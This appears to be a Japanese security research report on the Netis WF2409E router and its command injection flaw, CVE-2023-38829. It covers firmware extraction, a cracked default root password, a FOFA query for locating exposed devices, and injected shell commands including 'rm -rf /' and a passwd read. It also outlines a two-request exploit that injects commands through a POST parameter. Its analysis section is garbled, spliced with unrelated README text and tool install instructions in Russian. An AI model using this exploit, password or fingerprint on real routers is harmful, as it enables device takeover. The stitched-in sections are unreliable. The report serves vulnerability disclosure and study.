Netis WF2409E デバイスレポート

1. デバイス概要

1.1 主要仕様表

1.2 動作確認表

1.3 主要システムコンポーネント

2. ピン研究

2.1 シリアルポート経由でデバイスに接続

3. ブートログ、ブートローダーおよびOSコマンド

3.1 ブートログ分析

プロセッサ特性

Flashメモリ特性

ブートローダー情報

デフォルトネットワーク設定

システムソフトウェア情報

サービス状態

このデバイスはおそらくU-Bootを使用していないことに注意することが重要です。主な兆候：

1. ログはRealTekブート情報から直接始まります: ---RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 [16bit](https://github.com/victorique-123/cve-2023-38829-netis-wf2409e_report/blob/HEAD/380MHz)
2. U-Bootブートの典型的な兆候がない：

• U-Bootバージョン情報がない
• U-Boot環境変数の初期化情報がない
• U-Bootコマンドプロンプトがない

3. RTL8196EはRealTekのローエンドルーターチップであり、これに基づく多くのデバイスはU-Bootの代わりにRealTek独自のブートローダーを使用します。
4. Flashメモリ容量が小さい（4MB）ことを考慮すると、軽量ブートローダーの使用がより合理的です。 実際にはU-bootに入る方法を見つけることができませんでした。

3.2 ブートローダー分析

ブートローダーに入るには、ブート中にEscキーを押し続ける必要があります：

RealTekブートローダーの全コマンドセット

メモリ読み取り例：

ブートローダーコマンド：

<RealTek> FLR 80000000 0 100 #Flashから読み取り DB 80000000 100 #メモリ内容の表示

3.3 Shell環境分析

主要Shellコマンド

システムディレクトリの詳細構造（/bin — 重要なツール）

/procディレクトリの重要な情報

プロセス一覧：

3.4 主要ハードウェアコンポーネントの説明

4. マウントポイント情報の分析

4.1 パーティションマウント情報の取得

4.2 システムで3つの主要マウントポイントが特定されました：

• /dev/mtdblock1 はルートディレクトリ / としてマウントされています
• none はプロセスファイルシステム /proc としてマウントされています
• tmpfs は一時ファイルシステム /var としてマウントされています

詳細分析

4.2.1. ルートファイルシステム

ルートファイルシステムは次のように設定されています：

• デバイス： /dev/mtdblock1
• ファイルシステムタイプ： squashfs
• マウントオプション： 読み取り専用 (ro)
• 目的： システムファイルとプログラムの保存

これは、MTDフラッシュメモリをストレージメディアとして使用し、システムファイルが読み取り専用とsquashfs圧縮によって保護および容量最適化されていることを示しています。

4.2.2 プロセスファイルシステム

プロセスファイルシステムは次のように設定されています：

• デバイス： none (仮想ファイルシステム)
• ファイルシステムタイプ： proc
• マウントオプション： 読み取り/書き込み (rw)
• 目的： システムおよびプロセス情報へのアクセスインターフェースの提供

4.2.3 一時ファイルシステム

一時ファイルシステムは次のように設定されています：

• デバイス： tmpfs (メモリ内ファイルシステム)
• マウントポイント： /var
• サイズ制限： 230 KB
• マウントオプション： 読み取り/書き込み (rw)
• 目的： 動作中の一時ファイルとデータの保存

4.2.4 システム内の多くのコマンドがないことが判明

5. ファームウェアの構造とフォーマット

5.1 ファームウェア "netis.bin" の取得

5.2 エントロピー分析の実行：

binwalk -E --save netis.bin

5.3 ヘッダー分析：

binwalk netis.bin

5.4 解凍には引数 –reM を使用します。

そして取得：

5.5 分析結果表

オフセット	パーティションヘッダ
0x12F0
0x32818

6. ファームウェア解凍後のファイルシステム

6.1 解凍後のファイルシステム：

6.2 いくつかの重要なドキュメント

6.2.1 etc/passwd:

ハッシュ復号サービス https://hashes.com/en/decrypt/hash を使用して、rootパスワードが realtek として正常に復元されました。

6.2.2 web/welcome.htm:

これはデフォルトのWebインターフェースページです

7. FOFAのマーカー、フィンガープリント、統計

web/welcome.htm の特性を介した FOFA でのデバイス検索：

検索コマンド： body="./images/logo_netis.png" && body="display:block; height:60px; float:left;"

デバイスの管理パネルにアクセスするには、ログインとパスワードによる認証が必要になる場合があります

認証成功後、管理パネルにログインできます

8. 識別スクリプト

最初に ~/squashfs-root/web$ find コマンドを使用して利用可能なディレクトリを見つけ、Burpsuit を使用してそれらのアクセス可能性を確認しました：| | Payload | Code | | Lenth | | ------ | ------------------------------- | ------- | ----- | --------- | | 1 | /cgi-bin | 200 | | 167 | | 2 | /cgi-bin/cgitest.cgi | - | ERROR | - | | 3 | /script | 200 | | 168 | | 4 | /script/init.js | 200 | | 1282 | | 5 | /script/logic.js | 200 | | 65677 | | 6 | /script/menu.js | 200 | | 4976 | | 7 | /script/netcore.js | 200 | | 151935 | | 8 | /script/action.js | 200 | | 182624 | | 9 | /script/debug.js | 200 | | 28570 | | ==10== | ==/version.txt== | ==200== | | ==206== | | ==11== | ==/update.htm== | ==200== | | ==1230== | | 12 | /config | 200 | | 168 | | 13 | /config/language_es.js | 200 | | 79333 | | 14 | /config/language_it.js | 200 | | 76802 | | 15 | /config/language_id.js | 200 | | 74795 | | 16 | /config/language_du.js | 200 | | 78782 | | 17 | /config/language_ma.js | 200 | | 73594 | | 18 | /config/language_po.js | 200 | | 76458 | | 19 | /config/language_tu.js | 200 | | 77747 | | 20 | /config/language_fr.js | 200 | | 78165 | | 21 | /config/language_ro.js | 200 | | 73621 | | 22 | /config/language_cz.js | 200 | | 75968 | | 23 | /config/language_ua.js | 200 | | 98335 | | 24 | /config/language_us.js | 200 | | 84173 | | 25 | /config/config.js | 200 | | 75899 | | 26 | /config/language_ru.js | 200 | | 108998 | | 27 | /config/language_de.js | 200 | | 78674 | | 28 | /config/language_pt.js | 200 | | 77954 | | 29 | /config/language_cn.js | 200 | | 62001 | | 30 | /config/language_tc.js | 200 | | 74268 | | 31 | /system_log.txt | 404 | | 330 | | ==32== | ==/index.htm== | ==200== | | ==4336== | | 33 | /css | 200 | | 167 | | 34 | /css/style.css | 200 | | 5441 | | 35 | /css/netcore.css | 200 | | 11536 | | 36 | /css/welcome.css | 200 | | 6270 | | 37 | /Config.tgz | 404 | | 326 | | 38 | /images | 200 | | 168 | | 39 | /images/first.png | 200 | | 838 | | 40 | /images/icon_no.gif | 200 | | 240 | | 41 | /images/top_right_bg.gif | 200 | | 222 | | 42 | /images/logo_netis.png | 200 | | 7297 | | 43 | /images/icon_jian.gif | 200 | | 239 | | 44 | /images/show_pwd.png | 200 | | 1433 | | 45 | /images/icon_no1.gif | 200 | | 498 | | 46 | /images/nextt.png | 200 | | 1026 | | 47 | /images/lastt.png | 200 | | 845 | | 48 | /images/icon_intro_internet.gif | 200 | | 6994 | | 49 | /images/help_b1.gif | 200 | | 540 | | 50 | /images/high.gif | 200 | | 10846 | | 51 | /images/yandex_en.png | 200 | | 3519 | | 52 | /images/help_b1.jpg | 200 | | 620 | | 53 | /images/back.gif | 200 | | 379 | | 54 | /images/icon_intro_wireless.jpg | 200 | | 3838 | | 55 | /images/icon_jian1.gif | 200 | | 490 | | 56 | /images/left_021.jpg | 200 | | 558 | | 57 | /images/edit.gif | 200 | | 365 | | 58 | /images/pre.png | 200 | | 1029 | | 59 | /images/btn_mobile_setup.jpg | 200 | | 3053 | | 60 | /images/icon_now.gif | 200 | | 242 | | 61 | /images/top_right_bg.jpg | 200 | | 223 | | 62 | /images/bg_intro_bottom.png | 200 | | 3562 | | 63 | /images/favicon.ico | 200 | | 4458 | | 64 | /images/btn_quick_setup.jpg | 200 | | 4353 | | 65 | /images/bg_intro_top.png | 200 | | 3605 | | 66 | /images/mt-link.gif | 200 | | 5823 | | 67 | /images/link.gif | 200 | | 1045 | | 68 | /images/del.gif | 200 | | 313 | | ==69== | ==/images/Makefile== | ==200== | | ==593== | | 70 | /images/icon_jia1.gif | 200 | | 490 | | 71 | /images/blue.jpg | 200 | | 2584 | | 72 | /images/normal.gif | 200 | | 10818 | | 73 | /images/yandex.png | 200 | | 2159 | | 74 | /images/bg_leftmenu.gif | 200 | | 686 | | 75 | /images/icon_jia.gif | 200 | | 252 | | 76 | /images/icon_now1.gif | 200 | | 487 | | ==77== | ==/welcome.htm== | ==200== | | ==30155== | | ==78== | ==/index.html== | ==200== | | ==326== | | 79 | /help | 200 | | 166 | | ==80== | ==/backup.htm== | ==200== | | ==1304== |

情報が存在する可能性のある場所:

確認後、ファイル ==/version.txt== で以下の情報を見つけることができます:

• ファームウェアバージョン
• ビルド日付
• Boaサーバー情報（HTTPレスポンスヘッダーのServerフィールドから取得）

この情報の抽出はPythonスクリプトを使用して実装されました:

9. CVSS付き脆弱性リスト

9.1 脆弱性一覧

現在、このデバイスでは以下の脆弱性が発見されています。その中でも CVE-2023-38829 は、NETIS SYSTEMS ルーター WF2409E のネットワークテストモジュールにおける ping および traceroute 機能に存在するコマンドインジェクション脆弱性です。Web管理インターフェースを介して、これらの機能のパラメータに悪意のあるコマンドを注入でき、コマンドの実行に至ります。

9.2 脆弱性の確認

この脆弱性の有無を確認するため、ルーターの管理パネルにログインし、ping および traceroute 機能で脆弱性をテストしました。 ここで、cd && ls && cd etc/ && cat passwd というコマンドを注入し、パスワードファイルの内容を出力させました。

以下は、コマンド注入時のルーター管理パネルの出力で、脆弱性の存在を確認しています。

9.3 CVSSによる脆弱性評価

発見されたコマンドインジェクション脆弱性のCVSS 3.1分析:

1. 基本評価指標:

   • 攻撃ベクトル(AV): ネットワーク(N)、リモートから悪用可能なため
   • 攻撃の複雑さ(AC): 低い(L)、HTTPリクエストの送信のみ必要なため
   • 必要な特権レベル(PR): 低い(L)、基本的なユーザー権限（デバイス管理インターフェースでの認証）が必要
   • ユーザー操作(UI): なし(N)、ユーザーの操作は不要
   • 影響の範囲(S): 変更あり(C)、ルーターに接続された他のデバイスに影響を及ぼす可能性

2. 影響指標:

   • 機密性への影響(C): 高い(H)、システムへの完全なアクセスが可能
   • 完全性への影響(I): 高い(H)、任意のシステムファイルを変更可能
   • 可用性への影響(A): 高い(H)、デバイスの動作に影響を及ぼす可能性

3. 時間的評価指標:
   • エクスプロイトの成熟度(E): 機能するエクスプロイトが存在(F)
   • 対策レベル(RL): 公式対策あり(O)
   • 報告の確信度(RC): 確認済み(C)

最終スコア: 9.2/10点、カテゴリ「クリティカル」に該当。 CVSSベクトル: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C

このような高い脆弱性スコアは以下の理由による:

• 特別な条件なしにリモートから悪用可能
• 認証なしにroot権限を取得可能
• システムのセキュリティに完全な影響
• 脆弱性の悪用が容易

10. 脆弱性の分析（BOまたはCI）

まず、脆弱性が存在する可能性のあるファイルを見つけます: find . -name "*.cgi" ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi

脆弱性はCGIプログラムに現れる可能性があると考え、まずIDA Proを使って./web/cgi-bin/cgitest.cgiを分析してみます。

まず類似の関数呼び出し箇所を見つける必要があります。検索により「killall ping」という文字列が見つかりました。 呼び出し箇所を分析すると、プログラムはpingおよびtraceroute関数の初期化後、/bin/network_test.shを呼び出していることがわかります。

そして、脆弱性が存在する場所はまさにネットワークテストモジュールです。では、/bin/network_test.shを分析する必要があります。

network_test.shの分析

まず検索を実行する必要があります。

関数network_test_shを見つけます: ......

関数を詳細に分析すると、コマンド実行モジュールと結果保存モジュールが見つかります。

それらの中で: pingコマンドの実行: ping -c %d -s %d %s -W %d > %s &

• pingパラメータ:
  • -c: ping回数
  • -s: データパケットサイズ（8バイト減）
  • -W: タイムアウト時間
  • 設定からのターゲットIPアドレス

tracerouteコマンドの実行: traceroute -I -m %d %s > %s &

• tracerouteパラメータ:
  • -I: ICMPプロトコルを使用
  • -m: 最大ホップ数
  • 設定からのターゲットIPアドレス

脆弱性の詳細分析```

Ситуация с командой ping

loc_4205B8: lw v0, 0x108+var_D4(sp) #прямая загрузка параметров lw a3, 0x108+var_D8(sp) la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf

> *[英語](https://github.com/victorique-123/cve-2023-38829-netis-wf2409e_report/blob/HEAD/README.md), [ロシア語](https://github.com/victorique-123/cve-2023-38829-netis-wf2409e_report/blob/HEAD/READMEru.md).*

| **OSファミリー** | **OS**  |
|------------------|---------|
| Windows          | Windows |
| Linux            | Linux   |
| macOS            | macOS   |

## **:telescope: サポートされるOSバージョン**

### Windows
WindowsファミリーのOSバージョンは、`Windows 7` と `Windows Server 2008 R2` 以降が対象です。XP/2003以前のバージョンは公式にはサポートされていません。ただし、このツールはXP 32ビット版と2003 64ビット版でテストされ、安定して動作することが確認されています。

### Linux

Ситуация с командой traceroute

loc_420574: la $t9, sprintf #также прямой вызов sprintf lw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров

*   **Запуск через Python** (лучше установить в виртуальное окружение)

    ```bash
    $ git clone https://github.com/cybersader/hacker-curator.git
    $ cd hacker-curator
    $ python3 -m venv venv
    $ source venv/bin/activate
    $ pip install -r requirements.txt
    $ python main.py
    ```

*   **Запуск с помощью Docker** (рекомендуется)

    ```bash
    $ git clone https://github.com/cybersader/hacker-curator.git
    $ docker build -t hacker-curator .
    $ docker run -p 5000:5000 hacker-curator
    ```

*   **Запуск через Docker Hub** (самый быстрый способ)

    ```bash
    $ docker run -p 5000:5000 cybersader/hacker-curator
    ```

- [x] ✔️ **Агент автоматической установки** — автоматическая установка через `apt`, `brew`, `choco`, `pip`, `npm`, `go` и другие менеджеры пакетов
- [x] ✔️ **Интеллектуальная веб-панель** — классификация инструментов с настраиваемыми фильтрами и сортировкой по убыванию полезности
- [x] ✔️ **Библиотека из 100+ инструментов** — постоянно обновляемая коллекция с сетевыми, реверсинжиниринговыми, форензик-инструментами и эксплойтами
- [x] ✔️ **Экспорт в Markdown** — автоматическое создание красиво оформленного отчета об установке инструментов```
# После построения команды происходит прямое выполнение
la $t9, run_by_system
jalr $t9 ; run_by_system #прямой вызов system для выполнения команды
move $a0, $s1 #отсутствуют проверки безопасности

コード内に入力パラメータの十分な検証がなく、コマンドインジェクションの潜在的なリスクがあります。攻撃者は渡されるIPパラメータを制御してシェルコマンドを実行できます。例えば：```

Нормальный ввод 192.168.0.1

Примеры вредоносного ввода

192.168.0.1; rm -rf / #удаление файлов 192.168.0.1 & id & #выполнение произвольных команд

## 11. エクスプロイトスクリプト

### 11.1. スクリプト概要

このスクリプトは、デバイスのWebインターフェースにおけるコマンドインジェクションの脆弱性を利用し、特殊なHTTPリクエストを作成してリモートでコマンドを実行します。スクリプトは2つのHTTP POSTリクエストを使用して脆弱性をエクスプロイトします。最初のリクエストでコマンドを注入し、2番目のリクエストで実行結果を取得します。

最初のパケット（netcore_set.cgi）は以下の目的で使用されます：コマンドの注入と実行
![](https://assets.kitploit.com/production/public/readmes/21494/3db1e4bb1625a72b26cf65e34b5458e7cc2d72407c5a30e5f9b50e8e6f56fde0.png)

2番目のパケット（netcore_get.cgi）は以下の目的で使用されます：コマンド実行結果の取得
![](https://assets.kitploit.com/production/public/readmes/21494/081d07560f28c436263826ed835451190be48c57c9f45ceb55b690cc7c687c66.png)

### 11.2 第1段階：コマンドインジェクション

1. 以下の主要パラメータを含むPOSTリクエストボディの作成：```
{ "mode_name": "netcore_set", 
	 "tools_type": "2", 
	 "tools_ip_url": f"| {command}", # точка инъекции команды 
	 "tools_cmd": "1", 
	 "net_tools_set": "1" }

2. すべてのパラメータのURLエンコード
3. POSTリクエストをnetcore_set.cgiに送信

11.3 第2段階: 結果の取得

1. 2番目のPOSTリクエストの形成:``` { "mode_name": "netcore_get",
   "noneed": "noneed" }

2. netcore_get.cgi へのリクエスト送信
3. 応答内の tools_results フィールドを解析してコマンド実行結果を取得


### 11.4 スクリプトのテスト

スクリプトをテストするために、ホスト上に `ceshi` ファイルを作成し、スクリプト経由でデバイスにアップロードしようとしました

![](https://assets.kitploit.com/production/public/readmes/21494/5197cbc5dc13aa8a1533cd2daed4beaf518db96f195a0764469b807253893e98.png)![](https://assets.kitploit.com/production/public/readmes/21494/9ecf4ce6fefcee7cd5954fe2e0b468d0e1e8b88dd5f0d87397931e44d0089b55.png)![](https://assets.kitploit.com/production/public/readmes/21494/6ca6ac3de6b522974f773445633333d9b7eaeecef9099bbea45f7d7fe496591d.png)

成功！

実際、この脆弱性によりデバイスを完全に制御できるようになります。デフォルトでデバイスは root アクセスを使用しているためです。